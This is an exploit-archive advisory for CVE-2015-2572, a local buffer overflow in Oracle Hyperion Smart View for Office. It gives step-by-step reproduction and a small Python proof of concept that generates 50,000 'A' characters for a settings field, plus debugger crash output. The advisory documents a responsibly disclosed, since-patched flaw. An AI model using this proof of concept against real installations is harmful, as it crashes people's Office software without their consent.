Oracle Hyperion Smart View for Office Buffer Overflow

2015.04.18

Credit: sajith

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2015-2572

CWE: N/A

CVSS Base Score: 4.6/10

Impact Subscore: 6.4/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Buffer Overflow in Oracle Hyperion Smart View for Office [DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link: http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1 [x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572
 
Responsible Disclosure:
 
Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015
 
How to reproduce the bug?
 
 
1)install "Smart view" and open Microsoft excel and click on "smart view" tab
 
2)click on "Options" and then click on "Advanced" tab
 
3) In General menu in "shared Connections URL" enter large value say 50000 "A"'s and press ok, the application crashes, the output of the crash analyzed in debugger is shown below
 
Note:Plugin once installed automatically integrates with Microsoft office products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability can be exploited via any of these products.
 
==================python script to create 50000 "A"'s============
 
 
try:
 
    print "POC by sajith shetty"
 
    f = open("text.txt","w")
 
    junk = "A" * 50000
 
    f.write(junk)
 
    print "done"
 
except Exception, e:
 
        print "error- " + str(e)
 
 
Debugger o/p:
 
eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061 edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206 ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000      lock btr dword ptr [eax],0
ds:002b:00410061=????????
 
caused by MODULE_NAME: HsAddin
 
 
start    end        module name
0fb50000 111a0000   HsAddin    (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
    Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
    Image path: C:\Oracle\SmartView\bin\HsAddin.dll
    Image name: HsAddin.dll
    Timestamp:        Wed Mar 27 04:27:50 2013 (515227EE)
    CheckSum:         0163F951
    ImageSize:        01650000
    File version:     11.1.2.3085
    Product version:  11.1.2.3085
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Oracle Corporation
    ProductName:      Oracle Hyperion Smart View for Office, Fusion Edition
    InternalName:     CommonAddin
    ProductVersion:   11.1.2.3.000.157
    FileVersion:      11.1.2.3085
    FileDescription:  Oracle Hyperion Smart View for Office, Fusion Edition
    LegalCopyright:   Copyright 2004, 2013 Oracle Corporation.  All rights
reserved
    LegalTrademarks:  Oracle is registered.

References:

http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Oracle Hyperion Smart View for Office Buffer Overflow

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.